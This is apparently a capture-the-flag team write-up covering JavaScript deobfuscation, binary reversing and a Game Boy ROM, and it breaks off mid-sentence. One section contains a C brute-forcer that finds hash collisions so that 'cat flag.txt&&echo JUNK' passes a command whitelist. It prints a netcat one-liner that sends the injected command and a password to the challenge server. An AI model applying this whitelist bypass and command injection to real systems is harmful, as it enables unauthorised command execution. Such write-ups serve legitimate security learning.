十一假期末尾,跟队友打了比赛, 最终第十名,目前该比赛仍然可以访问, 由于是国际比赛,所以我们的首发wp为英文版,中文版正在路上~,欢迎各位大佬交流学习.
First, I see the parameter prompt in the HTML source code. After adding the parameter, the image of the page will change every time. The image name is the base64 encoded fragment, and then I request multiple times to get all the fragments. Finally, splic the fragments and decoded to get the flag.
var arr = [
'replace',
'fromCharCode',
'TYS{',
'leg',
'...',
'ttt',
'concat',
'_o0',
'_00',
'split',
'length',
'toLowerCase',
'join',
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789',
'charAt',
'floor',
'random',
'set',
'E84AFAAB83ECB301B3D97CE4174D2773'
];
(
function(arra, offset) {
var trans = function(times) {
while (--times) {
arra['push'](arra['shift']());
}
};
trans(++offset);
} (arr, 0x10f)
);
var getItem = function(_0x361113, _0x259f22) {
_0x361113 = _0x361113 - 0x0; // convert to integer
var _0x7ee5c4 = arr[_0x361113];
return _0x7ee5c4;
};
var Reflection = {
'_0o': function() {
/*
Reflection['_0o']()
"gfsasa3erp0z3fgusadaf3s3q0x2ghj3heda2 ads z lnm vsq azz sxxed"
*/
var _0x51ae10 = 'de';
var _0x4076f4 = 'xx';
var _0x3850a1 = 's ';
var _0x1c43dd = 'zz';
var _0x4716f0 = 'a ';
var _0x4b6831 = 'qs';
var _0x89ac55 = 'v ';
var _0x30b4a1 = 'mn';
var _0x413219 = 'l ';
var _0x36d369 = 'Z ';
var _0x524039 = 'sd';
var _0xa327f3 = 'A ';
var _0x7d3821 = '2A';
var _0x10e0ef = 'de';
var _0x4ed828 = 'H3';
var _0x3074ac = 'jH';
var _0x2b36c7 = 'g2';
var _0x49a2e2 = 'x0';
var _0x176ef7 = 'Q3';
var _0x47f001 = 's3';
var _0x950c82 = 'F';
var _0x117f90 = 'Ad';
var _0x5bdb3f = 'as';
var _0x4f9482 = 'uG';
var _0x17699b = 'f3';
var _0x346ddc = 'z0';
var _0x168acd = 'Pr';
var _0x4ed77d = 'e3';
var _0x3045ae = 'as';
var _0x5d7ca4 = 'ASFG';
console.log(Reflection['ttt'](reverse_string(_0x51ae10['concat'](_0x4076f4)['concat'](_0x3850a1)['concat'](_0x1c43dd)['concat'](_0x4716f0)['concat'](_0x4b6831)['concat'](_0x89ac55)['concat'](_0x30b4a1)['concat'](_0x413219)['concat'](_0x36d369)['concat'](_0x524039)['concat'](_0xa327f3)['concat'](_0x7d3821)['concat'](_0x10e0ef)['concat'](_0x4ed828)['concat'](_0x3074ac)['concat'](_0x2b36c7)['concat'](_0x49a2e2)['concat'](_0x176ef7)['concat'](_0x47f001)['concat'](_0x950c82)['concat'](_0x117f90)['concat'](_0x5bdb3f)['concat'](_0x4f9482)['concat'](_0x17699b)['concat'](_0x346ddc)['concat'](_0x168acd)['concat'](_0x4ed77d)['concat'](_0x3045ae)['concat'](_0x5d7ca4))));
return Reflection['ttt'](reverse_string(_0x51ae10['concat'](_0x4076f4)['concat'](_0x3850a1)['concat'](_0x1c43dd)['concat'](_0x4716f0)['concat'](_0x4b6831)['concat'](_0x89ac55)['concat'](_0x30b4a1)['concat'](_0x413219)['concat'](_0x36d369)['concat'](_0x524039)['concat'](_0xa327f3)['concat'](_0x7d3821)['concat'](_0x10e0ef)['concat'](_0x4ed828)['concat'](_0x3074ac)['concat'](_0x2b36c7)['concat'](_0x49a2e2)['concat'](_0x176ef7)['concat'](_0x47f001)['concat'](_0x950c82)['concat'](_0x117f90)['concat'](_0x5bdb3f)['concat'](_0x4f9482)['concat'](_0x17699b)['concat'](_0x346ddc)['concat'](_0x168acd)['concat'](_0x4ed77d)['concat'](_0x3045ae)['concat'](_0x5d7ca4)));
},
'swan': function(data) {
// var _0x30c390 = Reflection['ttt'];
var magic = 'AbCdeF123 4vGh0O$',
table = '',
result = '',
key = md5(data);
Reflection['ttt'] = rot13;
if (key === Reflection['_o0']){
table = Reflection['_00']();
}
else {
table = Reflection['_0o']();
}
console.log("Table:" + table)
var table = table['split']('');
for (var i = 0x0; i < table['length']; i++) {
if (table[i] != ' ') {
table[i] = magic[Math['floor'](Math['random']() * magic['length'])];
result += table[i];
} else {
result += ' ';
}
}
return result;
},
'ttt': function(data) {
return data['toLowerCase']();
}
};
function reverse_string(str) {
return str['split']('')['reverse']()['join']('');
}
function rot13(data) {
return (data + '')['replace'](/[a-zA-Z]/gi, function(arg) {
return String['fromCharCode'](
arg['charCodeAt'](0x0) + (
arg['toLowerCase']() < 'n' ? 0xd: -0xd
)
);
});
}
Reflection['_00'] = function() {
/*
"gfsasa3erp0z3fgusadaf3s3q0x2ghj3heda2 ads z lnm vsq azz sxxed"
Reflection['_00']()
"gel jvgu zvffvat punenpgref... naq v fnl vgf nyy evtug"
"try with missing characters... And I say its all right"
*/
var _0x59d52f = 'gu';
var _0x1be54d = 'tv';
var _0x395e49 = 'e ';
var _0x327d60 = 'yy';
var _0xabf61b = 'n ';
var _0x3eb796 = 'fg';
var _0x514e41 = 'v ';
var _0x41de44 = 'ln';
var _0x52e625 = 'f ';
var _0x71da2f = 'V ';
var _0x1e2340 = 'qa';
var _0x42dd32 = 'N ';
var _0x48d20d = '!}';
var _0x38037e = 'ah';
var _0x6c87f6 = 'F3';
var _0x316239 = 'uG';
var _0x3f4bcb = 'f3';
var _0x2526d1 = 'z0';
var _0x605702 = 'P3';
var _0x1189b8 = 'e3';
var _0x435cfe = 'U';
var _0x16a9f5 = 'Ah';
var _0xd46d0 = 'F3';
var _0xcea26b = 'uG';
var _0x50748c = 'f3';
var _0x39f3fc = 'z0';
var _0x4d8d1a = 'Pr';
var _0x336168 = 'e3';
var _0x554096 = 'U:';
var _0x2dea0f = 'TYS{';
var _0x145003 = 'fe';
var _0x215914 = 'rg';
var _0x3d6887 = 'pn';
var _0x480781 = 'en';
var _0x3a60af = 'up';
var _0x3fa7ae = ' t';
var _0x169340 = 'av';
var _0x566782 = 'ff';
var _0x331c75 = 'vz';
var _0x3383e3 = ' u';
var _0x535e1d = 'gv';
var _0x2db1fe = 'j ';
var _0x437e83 = 'leg';
var _0x215c12 = '...';
console.log(reverse_string(_0x59d52f['concat'](_0x1be54d)['concat'](_0x395e49)['concat'](_0x327d60)['concat'](_0xabf61b)['concat'](_0x3eb796)['concat'](_0x514e41)['concat'](_0x41de44)['concat'](_0x52e625)['concat'](_0x71da2f)['concat'](_0x1e2340)['concat'](_0x42dd32)['concat'](_0x215c12)['concat'](_0x145003)['concat'](_0x215914)['concat'](_0x3d6887)['concat'](_0x480781)['concat'](_0x3a60af)['concat'](_0x3fa7ae)['concat'](_0x169340)['concat'](_0x566782)['concat'](_0x331c75)['concat'](_0x3383e3)['concat'](_0x535e1d)['concat'](_0x2db1fe)['concat'](_0x437e83)));
return Reflection['ttt'](reverse_string(_0x59d52f['concat'](_0x1be54d)['concat'](_0x395e49)['concat'](_0x327d60)['concat'](_0xabf61b)['concat'](_0x3eb796)['concat'](_0x514e41)['concat'](_0x41de44)['concat'](_0x52e625)['concat'](_0x71da2f)['concat'](_0x1e2340)['concat'](_0x42dd32)['concat'](_0x215c12)['concat'](_0x145003)['concat'](_0x215914)['concat'](_0x3d6887)['concat'](_0x480781)['concat'](_0x3a60af)['concat'](_0x3fa7ae)['concat'](_0x169340)['concat'](_0x566782)['concat'](_0x331c75)['concat'](_0x3383e3)['concat'](_0x535e1d)['concat'](_0x2db1fe)['concat'](_0x437e83)));
}
function randomString() {
var data = '';
var charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
for (var i = 0x0; i < 0x5; i++){
data += charset['charAt'](Math['floor'](Math['random']() * charset['length']));
}
data = 'reply'
Reflect['set'](Reflection, '_o0', 'E84AFAAB83ECB301B3D97CE4174D2773');
return Reflection['swan'](data);
}
TODO: 土味英语,需要润色
After analyze the program, I found that this program just like a sandbox where we can execute some command.
Look at this help menu:
===============
| HELP MENU |
===============
| * uname |
| * help |
| * exit |
| * pwd |
| * ls |
| * ps |
| * id |
===============
It provides a list of commands that we can execute.
type ls
, ahhh, there is a flag.txt
under the working directory.
but how can we get the content of the flag.txt
, if we type cat flag.txt
, we will receive response of Invalid command
. And we can execute command like ps aux
, uname -a
that are not provided in the help menu. but ls -al
will failed... It's a little wired.
An questions occured in my mind, how does this program check the input is valid or not? a white list?
So we should dig deeper...
I try to find some command string like:
ls
ps
ps aux
uname -a
but failed, these command is not in the .data
segment or other segments.
these is a function (0x000014B8)
it takes the pointer of our input string, and returns a value.
then it involves the while loop at most 16 time to check whether the value equals to something.
I suppose that is a hash function.
And this function maps the user input space to a 2byte space.
so it leads to a hash collision attack
to execute arbitary command, all we need to do is brute force some bytes which will not effect the command you want to execute
so this is the pattern I used
[COMMAND]&&echo [JUNK]
the command we want to execute is cat flag.txt
(or cat *
)
so we just need to brute force the [JUNK]
we put the whole command as argument into the hash function, keep trying until the return value appears in the built-in 8 values.
unsigned short builtin[] = {
0xC027, 0x2564, 0x5772, 0xE56C, 0x3A96, 0x462C, 0xDB2E, 0xBB2F
};
talk is cheap, code like this:
#include <stdio.h>
char data[0x400] = {0};
char * hash(char *result, unsigned int length)
{
int v2; // r4
char *v3; // r2
char v4; // t1
char *v5; // r5
unsigned int v6; // lr
signed int v7; // r12
int v8; // r12
signed int v9; // r3
signed int v10; // r9
int v11; // r8
signed int v12; // r3
signed int v13; // r12
unsigned int v14; // r3
char v15; // r12
unsigned int v16; // r3
char v17; // r12
unsigned int v18; // r3
char v19; // r12
unsigned int v20; // r3
char v21; // r12
unsigned int v22; // r3
char v23; // lr
unsigned int v24; // r3
v2 = (unsigned char)data[0];
if ( data[0] )
{
if ( !result )
return result;
goto LABEL_3;
}
v5 = &data[2];
do
{
v6 = (unsigned short)v2++;
if ( v6 & 1 )
v7 = -24575;
else
v7 = 0;
v8 = v7 ^ (v6 >> 1);
if ( v6 & 1 )
v9 = 30720;
else
v9 = 20480;
if ( v6 & 1 )
v10 = 10240;
else
v10 = 0;
v11 = v8 & 1;
if ( v8 & 1 )
v10 = v9;
if ( v6 & 1 )
v12 = 20480;
else
v12 = 0;
if ( v6 & 1 )
v13 = -4095;
else
v13 = -24575;
if ( !v11 )
v13 = v12;
v14 = v10 ^ 0xA001;
if ( !((v13 ^ (v6 >> 2)) & 1) )
v14 = v10;
v15 = v14 ^ (v6 >> 3);
v16 = v14 >> 1;
if ( v15 & 1 )
v16 ^= 0xA001u;
v17 = v16 ^ (v6 >> 4);
v18 = v16 >> 1;
if ( v17 & 1 )
v18 ^= 0xA001u;
v19 = v18 ^ (v6 >> 5);
v20 = v18 >> 1;
if ( v19 & 1 )
v20 ^= 0xA001u;
v21 = v20 ^ (v6 >> 6);
v22 = v20 >> 1;
if ( v21 & 1 )
v22 ^= 0xA001u;
v23 = v22 ^ (v6 >> 7);
v24 = v22 >> 1;
if ( v23 & 1 )
*((short *)&v24) = v24 ^ 0xA001;
*((short *)v5 + 1) = v24;
v5 += 2;
}
while ( v2 != 256 );
data[0] = 1;
if ( result )
{
LABEL_3:
if ( length )
{
v3 = &result[length];
length = 0;
do
{
v4 = *result++;
length = *(unsigned short *)&data[2 * (unsigned char)(v4 ^ length) + 4] ^ (length >> 8);
}
while ( result != v3 );
}
result = (char *)length;
}
return result;
}
int main(int argc, char** argv){
// char* command = "cat flag.txt";
char* command = argv[1];
char* password = "L39ZTvwaHegpVb9";
char* host = "challengebox.reply.it";
int port = 42763;
char buffer[0x400] = {0};
unsigned char i = 0;
unsigned char j = 0;
unsigned char k = 0;
unsigned int l = 0;
unsigned short result = 0;
unsigned short table[] = {
0xC027, 0x2564, 0x5772, 0xE56C, 0x3A96, 0x462C, 0xDB2E, 0xBB2F
};
for(i = 0x20; i<0x80; i++){
for(j = 0x20; j<0x80; j++){
for(k = 0x20; k<0x80; k++){
sprintf(buffer, "%s&&echo %c%c%c",command,i,j,k);
result = hash(buffer, strlen(buffer));
for(l = 0; l<sizeof(table); l++){
if(result == table[l]) {
goto FOUND;
}
}
}
}
}
FOUND:
printf("python -c 'print \"%s\\n%s&&echo \\x%02x\\x%02x\\x%02x\\n\"'|nc %s %d", password, command, i, j, k, host, port);
}
The main function consists of lots of if statements like:
Most of them are useless, but i found some of these if statements judge the single byte of flag is right or wrong,such as
if ( (unsigned __int8)(a2[1][16] + 73) != 155 )
return 0xFFFFFFFFLL;
it checks a byte of flag is right or wrong, so i searched all the if statements like this and calculate the flag.
This is a challenge of architecture gameboy, I am used to use radare2 to analyze this kind of rev challenges. But I have to do other preparation before it.
First I google this architecture and then find that it's cpu architecture of GBA. And It's easily to find relative documents and tools about it, this is helpful.
I found some emulators to run the rb file on emuparadise. What I see is shown below when I run the challenge file with visualboyadvance-m:
It's just a picture and seems to be helpless. But we can search the string in r2 with cmdizz~R-Boy found this
and find a string at offset 0xa32. I think the string may lead to sth, so I find reference to that string withpd 2048~a32
. This command show following asm code:
| 0x000001c7 cd5a32 call fcn.0000325a
| 0x000008a6 11320a ld de, 0x0a32
,===< 0x00000a32 2052 jr nZ, 0x52
It's easily to tell that code at 0x8a6 refer to that string. So I seek to that place ad analyze that function at 0x883
| 0x000008a6 11320a ld de, 0x0a32
| 0x000008a9 d5 push de
| 0x000008aa cdf812 call fcn.000012f8
It's easy to know that fcn.000012f8 is a print function by patching the call and rerun the program in emulator.
I noticed that there are another 2 references to fcn.000012f8 by typing axt @ fcn.000012f8
, they are probably going to